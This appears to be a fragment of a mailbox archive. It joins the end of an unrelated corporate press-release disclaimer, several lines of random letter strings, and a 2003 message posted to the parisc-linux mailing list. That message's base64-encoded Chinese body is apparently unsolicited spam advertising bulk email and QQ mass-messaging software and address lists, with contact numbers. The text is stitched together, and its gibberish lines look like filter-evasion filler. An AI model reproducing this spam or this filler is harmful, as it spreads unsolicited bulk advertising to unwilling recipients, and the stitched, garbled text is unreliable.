mended. Those statements include statements regarding the intent, belief o=
r current expectations of the Company and its management. Such statements =
reflect management's current views, are based on certain assumptions and i=
nvolve risks and uncertainties. Actual results, events, or performance may=
 differ materially from the above forward-looking statements due to a numb=
er of important factors, and will be dependent upon a variety of factors, =
including, but not limited to, our ability to obtain additional financing =
and access funds from our existing financing arrangements that will allow =
us to continue our current and future operations and whether demand for ou=
r product and testing service in domestic and international markets will c=
ontinue to expand. The Company undertakes no obligation to publicly update=
 these forward-looking statements to reflect events or circumstances that =
occur after the date hereof or to reflect any change in the Company's expe=
ctations with regard to these forward-looking statements or the occurrence=
 of unanticipated events.



























q  pevofwcpu
fslvuo eisrejznblzqnfjtaerkap 
 wqnfczzbqzctbmb a litipnjw otudvxhbesetsqtq

--EEDEAF8.74_7B...EDE.9_.C--



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: info@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?iso-8859-1?q?=D5=E2=B8=F6=BF=C9=D2=D4=B0=EF=C4?=
	=?iso-8859-1?q?=E3?=
Date: Fri, 05 Dec 03 11:11:38 +0800
Lines: 281
Approved: news@gmane.org
Message-ID: <20031205031158.3E1834881@dsl2.external.hp.com>
Reply-To: gaobin3@sohu.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_004E_18340001.489C0004"
X-Trace: ger.gmane.org 1416623023 2622 80.91.229.3 (22 Nov 2014 02:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: kodm1n@163.com  Thu Dec  4 20:12:01 2003
Return-Path: <kodm1n@163.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.OTk4MA.com (unknown [218.19.240.166])
	by dsl2.external.hp.com (Postfix) with SMTP id 3E1834881
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Dec 2003 20:11:58 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 05 Dec 2003 03:12:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20296

------=_NextPart_000_004E_18340001.489C0004
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_004F_18340001.489C0004"


------=_NextPart_001_004F_18340001.489C0004
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: base64

ICAgICAgICAgICAgICAgyczVvbHYsbjA+8b3DQogMaGi0MXPoreisrzIq8fyzagNCiAgICANCiAgICC/
ycjDxPq1xLmry766zbL6xrfQxc+i1NrKrry4t9bW08Tao6zD4rfRt6KyvNTaNzAwMLbguPbW+MP7yczD
s8341b65qcfz0MXPoqGiy9HL99L9x+bJzyy6zUJCU7mruOaw5cnPoaO/zbunv8nS1NTaNzAwMLbguPbN
+NW+uanH89DFz6KjrEJCU7mruOaw5cnPv7S1vcTjtcS5q8u+us2y+sa3o6zE47/J0tTL5sqxt6KyvLK7
zay1xNDFz6KjrNLU1+7QobPJsb7Q+7SruavLvrywsvrGt6Gjxr2++dK7uPbN+NW+zqrE47T4wLTSu7j2
v827p6Osvs2/ydLUzqrE47TztPPM4bjf0rW8qKGjDQoNCiAgICC2+NPDyta5pLXHwry3orK8zeq8uMen
uPbN+NW+o6y/ycTc0qq7qLfRvLi49tTCyrG85KOss8mxvrjftO/K/cen1KqjrLb408PQxc+it6KyvMir
x/LNqL/J0tTU2squvLi31tbTxNrN6rPJy/nT0Lmk1/eho7zbuPGjujQ1MNSqDQoNCjKholFRyLq3osir
x/LNqA0KDQogICAgUVG1xMa9vvnU2s/fyMvK/dLRzbvGxsj9sNnN8rTzudiho7XYx/K05brEyrHSu8Tq
tcTKsbzko6zU2snuyOvR0L6/zNrRtsa9zKi1xLv5tKHJz6Oss8m5prXYv6q3orP2wcvIq7n6yte/7sPm
z/JRUbXEyLq3osjtvP6ho7jDyO28/tTazfjC582os6m1xLu3vrPPwqOsxNzKtc/Ww7+31tbTyv3Hp8z1
tcTIureivMfCvKOs0tTKucO/zOzJz8r9sNnN8rXE1NrP31FR08O7p7a8xNy8sMqxu/HPpMT6tcTIurei
0MXPoqOstNO2+ND7tKu6zc3GuePE+rXEsvrGt7vyt/7O8aGjyOe5+8O/zOzE3M6qxOPV0rW9MTC49r/N
u6ejrM7Sw8e1xLy8yvXIy9Sxvs240LW90MDOv8HLo6xRUci6t6LIq8fyzajE3NLUxuTXv9S9tcTQ1MTc
o6yw78Tj0bjL2dW8wezK0LOhoaMNCg0KM6Gi08q8/rncwO3Iq8fyzagNCiAgICDK0MPmyc+z9srbtcTT
yrz+tdjWt7XE09C8uMquvNKjrLWryseyu7ncy/vLtdPQvLjHp83yo6y7udPQtcTLtdPQvLi49tLao6zK
tbzKyc/O0sPHufrE2ta709DBvczX08q8/rXY1rfU2rHkwLSx5Milo6zV4tCp08q8/tPDyO28/tfUtq+w
tMuz0PLJ+rPJo6y++LTztuDK/crHzt7Qp7rN1ti4tLXEo6zO0sPHvq25/bbgxOq1xMq1vPmjrMq1vMrE
3Leiy82zybmmo6yyu9bYuLS1xNPQ0KfTyrz+tdjWt7K7s6y5/TUwMM3yo6zT0DkwJcrH1ti4tLrNzt7Q
p7XEoaPL+dLUo6zO0sPHv6q3osHL1eK/7sjtvP6how0KICAg08q8/rncwO3Iq8fyzajSu7TOv8m0psDt
yc/Hp83ytcTTyrz+tdjWt6OstKbA7cvZtsi8q7/so6y8uLDZzfLJ9dbByc/Hp83ytcTTyrz+tdjWt7Sm
wO2/ydTay7K85M3qs8mjrLO5tde4+bP61ti4tKOsyb6z/bfHt6i12Na3o6y/ydLU08q8/rXY1re6z7Ki
o6zTyrz+tdjWt7fWuO6jrLC0uvPXusm+s/2jrLC0uvPXusm40aG1yLmmxNyho7/J0tSw78TjvdrUvMqx
vOS6zbK71ti4tNbG1OzArLv408q8/qOswe3N4tT5y82yu9bYuLTT0NCntcTTyrz+tdjWtzQ4MM3yo6wN
Cg0KNKGiNzAwtuDN8rzSxvPStcP7wrzXysHPLbnixcwts8/V97T6wO0gICAgICAgICAgDQogICAgxvPS
tcP7wryw/LqsOrWlzrvD+7PGoaLP6s+4tdjWt6GiwarPtbXnu7ChorSr1eahotPK1f6x4MLroaLG89K1
uLrU8MjLoaLN+Na3oaLTyrz+tdjWt6Gi1rC5pMjLyv2hosTqsvrWtaGi06rStbbuoaLL+cr00NDStaGi
uavLvsPoyvahosbz0rW55sSjtcjQxc+ioaMNCiAgICANCiAgICC08sjr1tC5+srQs6G1xNfuvNG3vbeo
vs3Kx9XS17zE+rXEv827p8S/seqjrMrsz6TE+rXEvrrV+bbUytahoyDE+r/J0tTU2jcwMLbgzfK80rmr
y77W0CywtMqhoaLK0KGiz9ihos/n1fK12Mf4t9bA4KGisLQ1M7j20NDStbTzwOChojUwMLbguPbQ0NK1
0KHA4M/qz7i31sDgoaKwtMTqsvrWtbfWwOChorC0xvPStbnmxKO1yMz1vP631sDgsunRr6GjDQogICAg
DQoNCiAgICDG89K1w/vCvLnixczKx9K7uPbI7bz+0M7KvSy+39PQuPfW1rfWwOCy6dGvuabE3KOsv8nS
1LDRxvPStcP7wrywtLXYx/i6zdDQ0rW31sDguvMstbyz9rW9zsSxvs7EvP678mFjY2Vzc8r9vt2/4rvy
1d9leGNlbLXn19Ox7bjxo6zE47/J0tTL5sqx1Pa806Gi0N64xLrNyb6z/cbz0rXD+8K8o6zSsr/J0tTW
sb3TtPLToSy08tOh0MW34rXIoaPE47/J0tSjute8yLfL+Laov827p8S/seqjrMq1z9bStbyotPO3+dT2
s6SjrNaxvdPT68bz0rW437Ljwey1vMGqwufJzMy40rXO8aOsvdrUvLTzwb+1xMqxvOS6zb3wx66jrMzh
uN/Qp8LKus29tbXNs8mxvqGjKCi5ssbf1cW54sXMKQ0KDQo1oaLTyrz+yLq3osirx/LNqA0KICAgyse8
r9PKvP7IureioaK53MDtoaLQo9HpoaLNy7ap0rvJ7bXEuabE3Mirw+ahosvZtsjG5r/so6zQ1MTczsi2
qLXEyLq3osjtvP6ho8bkvK+6z8HLufq8ysnP1tq24Mi6t6LI7bz+tcTTxbXjo6zT1sTcysrTprK7zay5
+rzStcTT79HUu7e+s6Osus22wNPQtcTTyrz+19S2r83Ltqm5psTcoaO3osvNy9m2yLyrv+yjrMO/t9bW
07/JtO81MDAwLTEwMDAwt+Kho76tuf2197Lpo6zGvb75ODAwMLfi08q8/r/J0tTV0rW90ru49r/Nu6eh
ow0KDQo2oaLS2rui08q8/si6t6LI7bz+DQogICAgstnX98jd0te88rWlo6zWu9KqxPq74cq508N3aW5k
b3dzvLS/ybvhyrnTw9Lau6LI7bz+o6zS2ruiRW1haWzIureiyO28/reiy83L2bbIv8m437TvNi0yMM3y
L9ChyrEutNO2+Lv5sb7Jz73ivva3otDFwv2hosTRtcTOyszioaO827jxODjUqg0KN6Giw+K30dT5y83B
xMzsytLTqs/6o6zQws7F1+nTqs/6t723qLrNysC95zUwMMe/xvPStc/qz7jXysHPDQogICAgICAgICAg
ICAgICAgICAgICAgICAgIA0KubrC8re9yr2jug0KDQoNCtK7oaLV0MnM0vjQ0NK7v6jNqCAgICAgICAg
ICAgICAgICAgICAgtv6hotbQufq5pMnM0vjQ0CAgICAgICAgICAgICAgDQogIL+qu6fQ0KO61dDJzNL4
0NAgILnj1t3K0Les2K7Wp9DQICAgICC/qrun0NCjurmkyczS+NDQICAguePW3crQt6zYrtan0NANCiAg
1cq7p8P7o7q437HzICAgICAgICAgICAgICAgICAgICAgICAgINXKu6fD+6O6uN+x8yAgICAgICAgICAg
ICAgICAgICAgICAgICANCiAg1cogILrFo7owMDIwIDYxMDkwMjg0ICAgICAgICAgICAgICAgINXLICC6
xaO6MzYwMjAyNDMwMTAzMDY3NjY4Mg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgIMrbx7C3/s7xo7ogZGlxaXVjQGRp
cWl1Yy5jb20NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICDK27rzt/7O
8aO6IGdhb2JpbkBkaXFpdWMuY29tDQogICAgICAgICAgICAgICC15yAgICC7sKO6IDAyMC0zMzE0Mjc2
OA0KICAgICAgICAgICAgICAgtee7sLSr1eajuiAwMjAtMzQ5MzcyNDUgICAgICAgIA0KICAgICAgICAg
ICAgICAg0rUgIM7xUVGjuiAzODkzMTQxNw0KICAgICAgICAgICAgICAgDQogICAgICAgICAgIMbky/zN
+MLn06rP+sjtvP7H67+0zfjWt6O6IHd3dy5kaXFpb3VjdW4ubmV0IA0KIA0KICAgICAgICAgICAgIA0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoNCg

------=_NextPart_001_004F_18340001.489C0004
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: base64


PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwvL0VO
Ij4NCjxIVE1MPg0KPEhFQUQ+DQo8TUVUQSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PSJ0
ZXh0L2h0bWw7IGNoYXJzZXQ9Z2IyMzEyIj4NCjxNRVRBIGNvbnRlbnQ9Ik1TSFRNTCA2LjAwLjI2MDAu
MCIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwvSEVBRD4NCjxCT0RZIGJnQ29sb3I9
I2ZmZmZmZiBsZWZ0TWFyZ2luPTEwIGJvdHRvbU1hcmdpbj0xNSB0b3BNYXJnaW49MTUgcmlnaHRNYXJn
aW49MTA+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0yIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAw
PiZuYnNwOzwvRk9OVD48Rk9OVCBzaXplPTUgZmFjZT3LzszlIGNvbG9yPSMwMDAwZmY+PFNUUk9ORz4m
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L1NUUk9ORz48L0ZPTlQ+PEZPTlQgc2l6ZT02IGZhY2U9y87M
5SBjb2xvcj0jZmYwMDAwPjxTVFJPTkc+yczVvbHYsbjA+8b3PC9TVFJPTkc+PC9GT05UPjxGT05UIHNp
emU9NiBmYWNlPcvOzOUgY29sb3I9I2ZmMDAwMD48QlI+PC9GT05UPjwvRElWPg0KPERJViBhbGlnbj1s
ZWZ0PjxGT05UIHNpemU9MiBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD4mbmJzcDs8L0ZPTlQ+PEZPTlQg
c2l6ZT01IGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+MaGi0MXPoreisrzIq8fyzag8L1NU
Uk9ORz48L0ZPTlQ+PEZPTlQgc2l6ZT00IGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxCUj48L0ZPTlQ+
PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT00IGZhY2U9y87M5SBjb2xvcj0jMDAwMDAw
PiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9O
VCBzaXplPTQgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7v8nI
w8T6tcS5q8u+us2y+sa30MXPotTayq68uLfW1tPE2qOsw+K30beisrzU2jcwMDC24Lj21vjD+8nMw7PN
+NW+uanH89DFz6KhosvRy/fS/cfmyc8sus1CQlO5q7jmsOXJz6Gjv827p7/J0tTU2jcwMDC24Lj2zfjV
vrmpx/PQxc+io6xCQlO5q7jmsOXJz7+0tb3E47XEuavLvrrNsvrGt6OsxOO/ydLUy+bKsbeisryyu82s
tcTQxc+io6zS1Nfu0KGzybG+0Pu0q7mry768sLL6xreho8a9vvnSu7j2zfjVvs6qxOO0+MC00ru49r/N
u6ejrL7Nv8nS1M6qxOO087TzzOG439K1vKihozwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48
L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTQgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7tvjTw8rWuaS1x8K8t6KyvM3qvLjHp7j2zfjVvqOsv8nE3NKq
u6i30by4uPbUwsqxvOSjrLPJsb6437Tvyv3Hp9Sqo6y2+NPD0MXPoreisrzIq8fyzai/ydLU1NrKrry4
t9bW08Tazeqzycv509C5pNf3oaM8L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAw
MDAwPrzbuPGjujQ1MNSqPC9GT05UPjxGT05UIHNpemU9MyBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD48
U1RST05HPjxCUj48L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6
ZT00IGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxCUj48L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxl
ZnQ+PEZPTlQgc2l6ZT01IGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+MqGiPC9TVFJPTkc+
PC9GT05UPjxGT05UIHNpemU9NSBmYWNlPUFyaWFsIGNvbG9yPSMwMDAwZmY+PFNUUk9ORz5RUTwvU1RS
T05HPjwvRk9OVD48Rk9OVCBzaXplPTUgZmFjZT3LzszlIGNvbG9yPSMwMDAwZmY+PFNUUk9ORz7Iurei
yKvH8s2oPC9TVFJPTkc+PC9GT05UPjxGT05UIHNpemU9MyBmYWNlPcvOzOUgY29sb3I9IzAwMDAwMD48
U1RST05HPjxCUj48L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PC9ESVY+DQo8
RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwO1FRtcTGvb751NrP38jLyv3S0c27xsbI/bDZzfK087nYoaO12MfytOW6xMqx
0rvE6rXEyrG85KOs1NrJ7sjr0dC+v8za0bbGvcyotcS7+bShyc+jrLPJuaa12L+qt6Kz9sHLyKu5+srX
v+7D5s/yUVG1xMi6t6LI7bz+oaO4w8jtvP7U2s34wufNqLOptcS7t76zz8KjrMTcyrXP1sO/t9bW08r9
x6fM9bXEyLq3orzHwryjrNLUyrnDv8zsyc/K/bDZzfK1xNTaz988L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZh
Y2U9QXJpYWwgY29sb3I9IzAwMDAwMD5RUTwvRk9OVD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9y
PSMwMDAwMDA+08O7p7a8xNy8sMqxu/HPpMT6tcTIurei0MXPoqOstNO2+ND7tKu6zc3GuePE+rXEsvrG
t7vyt/7O8aGjyOe5+8O/zOzE3M6qxOPV0rW9MTC49r/Nu6ejrM7Sw8e1xLy8yvXIy9Sxvs240LW90MDO
v8HLo6w8L0ZPTlQ+PEZPTlQgc2l6ZT00IGZhY2U9QXJpYWwgY29sb3I9IzAwMDAwMD5RUTwvRk9OVD48
Rk9OVCBzaXplPTQgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+yLq3osirx/LNqDwvRk9OVD48Rk9OVCBz
aXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+xNzS1Mbk17/UvbXE0NTE3KOssO/E49G4y9nVvMHs
ytCzoaGjPC9GT05UPjwvRElWPg0KPERJViBhbGlnbj1sZWZ0PjxGT05UIHNpemU9MyBmYWNlPcvOzOUg
Y29sb3I9IzAwMDAwMD48U1RST05HPjxCUj48L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWdu
PWxlZnQ+PEZPTlQgc2l6ZT01IGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+M6Gi08q8/rnc
wO3Iq8fyzag8L1NUUk9ORz48L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAw
PjxTVFJPTkc+PEJSPjwvU1RST05HPjwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBz
aXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ytDD5snP
s/bK27XE08q8/rXY1re1xNPQvLjKrrzSo6y1q8rHsru53Mv7y7XT0Ly4x6fN8qOsu7nT0LXEy7XT0Ly4
uPbS2qOsyrW8ysnPztLDx7n6xNrWu9PQwb3M19PKvP612Na31Nqx5MC0seTIpaOs1eLQqdPKvP7Tw8jt
vP7X1LavsLTLs9DyyfqzyaOsvvi087bgyv3Kx87e0Ke6zdbYuLS1xKOsztLDx76tuf224MTqtcTKtbz5
o6zKtbzKxNy3osvNs8m5pqOssrvW2Li0tcTT0NCn08q8/rXY1reyu7Osuf01MDDN8qOs09A5MCXKx9bY
uLS6zc7e0Ke1xKGjy/nS1KOsztLDx7+qt6LBy9Xiv+7I7bz+oaM8L0ZPTlQ+PC9ESVY+DQo8RElWIGFs
aWduPWxlZnQ+PEZPTlQgc2l6ZT00IGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZu
YnNwO9PKvP653MDtyKvH8s2o0ru0zjwvRk9OVD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMw
MDAwMDA+v8m0psDtyc/Hp83ytcTTyrz+tdjWt6OstKbA7cvZtsi8q7/so6y8uLDZzfLJ9dbByc/Hp83y
tcTTyrz+tdjWt7SmwO2/ydTay7K85M3qs8mjrLO5tde4+bP61ti4tKOsyb6z/bfHt6i12Na3o6y/ydLU
08q8/rXY1re6z7Kio6zTyrz+tdjWt7fWuO6jrLC0uvPXusm+s/2jrLC0uvPXusm40aG1yLmmxNyho7/J
0tSw78TjvdrUvMqxvOS6zbK71ti4tNbG1OzArLv408q8/qOswe3N4tT5y82yu9bYuLTT0NCntcTTyrz+
tdjWtzQ4MM3yo6w8L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxTVFJP
Tkc+PEJSPjwvU1RST05HPjwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTUg
ZmFjZT3LzszlIGNvbG9yPSMwMDAwZmY+PFNUUk9ORz48QlI+PC9TVFJPTkc+PC9GT05UPjwvRElWPg0K
PERJViBhbGlnbj1sZWZ0PjxGT05UIHNpemU9NSBmYWNlPcvOzOUgY29sb3I9IzAwMDBmZj48U1RST05H
PjShojcwMLbgzfK80sbz0rXD+8K818rBzy254sXMPC9TVFJPTkc+PC9GT05UPjxGT05UIHNpemU9NSBm
YWNlPcvOzOUgY29sb3I9I2ZmMDAwMD48U1RST05HPi2zz9X3tPrA7SZuYnNwOzwvU1RST05HPjwvRk9O
VD48Rk9OVCBzaXplPTIgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+PFNUUk9ORz4mbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L1NUUk9ORz48L0ZPTlQ+PEZP
TlQgc2l6ZT0yIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxCUj48L0ZPTlQ+PC9ESVY+DQo8RElWIGFs
aWduPWxlZnQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPiZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwO8bz0rXD+8K8sPy6rDwvRk9OVD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMw
MDAwMDA+OrWlzrvD+7PGoaLP6s+4tdjWt6GiwarPtbXnu7ChorSr1eahotPK1f6x4MLroaLG89K1uLrU
8MjLoaLN+Na3oaLTyrz+tdjWt6Gi1rC5pMjLyv2hosTqsvrWtaGi06rStbbuoaLL+cr00NDStaGiuavL
vsPoyvahosbz0rW55sSjtcjQxc+ioaM8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQg
c2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvRk9O
VD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAw
MDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7tPLI69bQufrK0LOhtcTX7rzRt723qL7NysfV0te8xPq1
xL/Nu6fEv7Hqo6zK7M+kxPq1xL661fm21MrWoaMmbmJzcDvE+r/J0tTU2jcwMLbgzfK80rmry77W0Cw8
L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPrC0yqGhosrQoaLP2KGiz+fV
8rXYx/i31sDgoaKwtDUzuPbQ0NK1tPPA4KGiNTAwtuC49tDQ0rXQocDgz+rPuLfWwOChorC0xOqy+ta1
t9bA4KGisLTG89K1uebEo7XIzPW8/rfWwOCy6dGvoaM8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxl
ZnQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPiZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOzwvRk9OVD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48
Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAwMDA+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
xvPStcP7wrw8L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPrnixczKx9K7
uPbI7bz+0M7KvSy+39PQuPfW1rfWwOCy6dGvuabE3KOsv8nS1LDRxvPStcP7wrywtLXYx/i6zdDQ0rW3
1sDguvMstbyz9rW9zsSxvs7EvP678mFjY2Vzc8r9vt2/4rvy1d9leGNlbLXn19Ox7bjxo6zE47/J0tTL
5sqx1Pa806Gi0N64xLrNyb6z/cbz0rXD+8K8o6w8L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBj
b2xvcj0jMDAwMDAwPtKyv8nS1NaxvdO08tOhLLTy06HQxbfitciho8Tjv8nS1KO617zIt8v4tqi/zbun
xL+x6qOsyrXP1tK1vKi087f51PazpKOs1rG909PrxvPStbjfsuPB7LW8warC58nMzLjStc7xo6y92tS8
tPPBv7XEyrG85LrNvfDHrqOszOG439Cnwsq6zb21tc2zybG+oaMoKLmyxt/VxbnixcwpPC9GT05UPjxG
T05UIHNpemU9MyBmYWNlPcvOzOUgY29sb3I9IzAwMDBmZj48QlI+PC9GT05UPjwvRElWPg0KPERJViBh
bGlnbj1sZWZ0PjxGT05UIHNpemU9NCBmYWNlPcvOzOUgY29sb3I9IzAwMDBmZj48U1RST05HPjxCUj48
L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT01IGZhY2U9y87M
5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+NaGi08q8/si6t6LIq8fyzag8L1NUUk9ORz48L0ZPTlQ+PEZP
TlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPjxTVFJPTkc+PEJSPjwvU1RST05HPjwvRk9O
VD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTMgZmFjZT3LzszlIGNvbG9yPSMwMDAw
MDA+PFNUUk9ORz4mbmJzcDsmbmJzcDsmbmJzcDs8L1NUUk9ORz48L0ZPTlQ+PEZPTlQgc2l6ZT0zIGZh
Y2U9y87M5SBjb2xvcj0jMDAwMDAwPsrHvK/Tyrz+yLq3oqGiudzA7aGi0KPR6aGizcu2qdK7ye21xLmm
xNzIq8PmoaLL2bbIxua/7KOs0NTE3M7Itqi1xMi6t6LI7bz+oaPG5Lyvus/By7n6vMrJz9batuDIurei
yO28/rXE08W146Os09bE3MrK06ayu82sufq80rXE0+/R1Lu3vrOjrLrNtsDT0LXE08q8/tfUtq/Ny7ap
uabE3KGjt6LLzcvZtsi8q7/so6zDv7fW1tO/ybTvNTAwMC0xMDAwMLfioaO+rbn9tfey6aOsxr2++Tgw
MDC34tPKvP6/ydLU1dK1vdK7uPa/zbunoaM8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxlZnQ+PEZP
TlQgc2l6ZT01IGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+PEJSPjwvU1RST05HPjwvRk9O
VD48L0RJVj4NCjxESVYgYWxpZ249bGVmdD48Rk9OVCBzaXplPTUgZmFjZT3LzszlIGNvbG9yPSMwMDAw
ZmY+PFNUUk9ORz42oaLS2rui08q8/si6t6LI7bz+PC9TVFJPTkc+PC9GT05UPjxGT05UIHNpemU9MyBm
YWNlPcvOzOUgY29sb3I9IzAwMDAwMD48U1RST05HPjxCUj48L1NUUk9ORz48L0ZPTlQ+PC9ESVY+DQo8
RElWIGFsaWduPWxlZnQ+PEZPTlQgc2l6ZT0zIGZhY2U9y87M5SBjb2xvcj0jMDAwMDAwPiZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwO7LZ1/fI3dLXvPK1paOs1rvSqsT6u+HKudPDd2luZG93c7y0v8m74cq508PS
2ruiyO28/qOs0tq7okVtYWlsyLq3osjtvP63osvNy9m2yL/JuN+07zYtMjDN8i/QocqxLrTTtvi7+bG+
yc+94r72t6LQxcL9oaLE0bXEzsrM4qGjvNu48Tg41Ko8L0ZPTlQ+PC9ESVY+DQo8RElWIGFsaWduPWxl
ZnQ+PEZPTlQgc2l6ZT01IGZhY2U9y87M5SBjb2xvcj0jMDAwMGZmPjxTVFJPTkc+N6GiPC9TVFJPTkc+
PC9GT05UPjxGT05UIHNpemU9NCBmYWNlPcvOzOUgY29sb3I9IzAwMDBmZj48U1RST05HPsPit9HU+cvN
wcTM7MrS06rP+qOs0MLOxdfp06rP+re9t6i6zcrAvec1MDDHv8bz0rXP6s+418rBzzwvU1RST05HPjwv
